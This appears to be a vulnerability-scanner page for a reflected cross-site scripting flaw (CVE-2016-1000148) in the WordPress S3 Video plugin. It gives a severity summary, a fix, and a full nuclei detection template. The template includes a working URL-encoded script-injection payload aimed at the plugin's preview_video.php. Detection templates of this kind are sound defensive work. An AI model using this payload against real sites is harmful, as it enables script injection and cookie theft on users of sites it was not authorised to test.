WordPress S3 Video <=0.983 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.2%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

WordPress S3 Video and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.

Fix

Update to the latest version of WordPress S3 Video plugin (>=0.984) to mitigate this vulnerability.

How to confirm it

Send: GET /wp-content/plugins/s3-video/readme.txt
Positive when: contains "S3 Video Plugin ="
Send: GET {{BaseURL}}/wp-content/plugins/s3-video/views/video-management/preview_video.php?media=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C…
Positive when: contains "</script><script>alert(document.domain)</script><\"" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2016-1000148 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-1000148

info:
  name: WordPress S3 Video <=0.983 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress S3 Video and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of WordPress S3 Video plugin (>=0.984) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/ead796ed-202a-451f-b041-d39c9cf1fb54
    - https://wordpress.org/plugins/s3-video
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=240
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000148
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000148
    cwe-id: CWE-79
    epss-score: 0.03209
    epss-percentile: 0.88271
    cpe: cpe:2.3:a:s3-video_project:s3-video:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "s3-video_project"
    product: "s3-video"
    framework: wordpress
  tags: cve2016,cve,wordpress,wp-plugin,xss,wpscan,s3-video_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/s3-video/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'S3 Video Plugin ='

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/s3-video/views/video-management/preview_video.php?media=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script><"'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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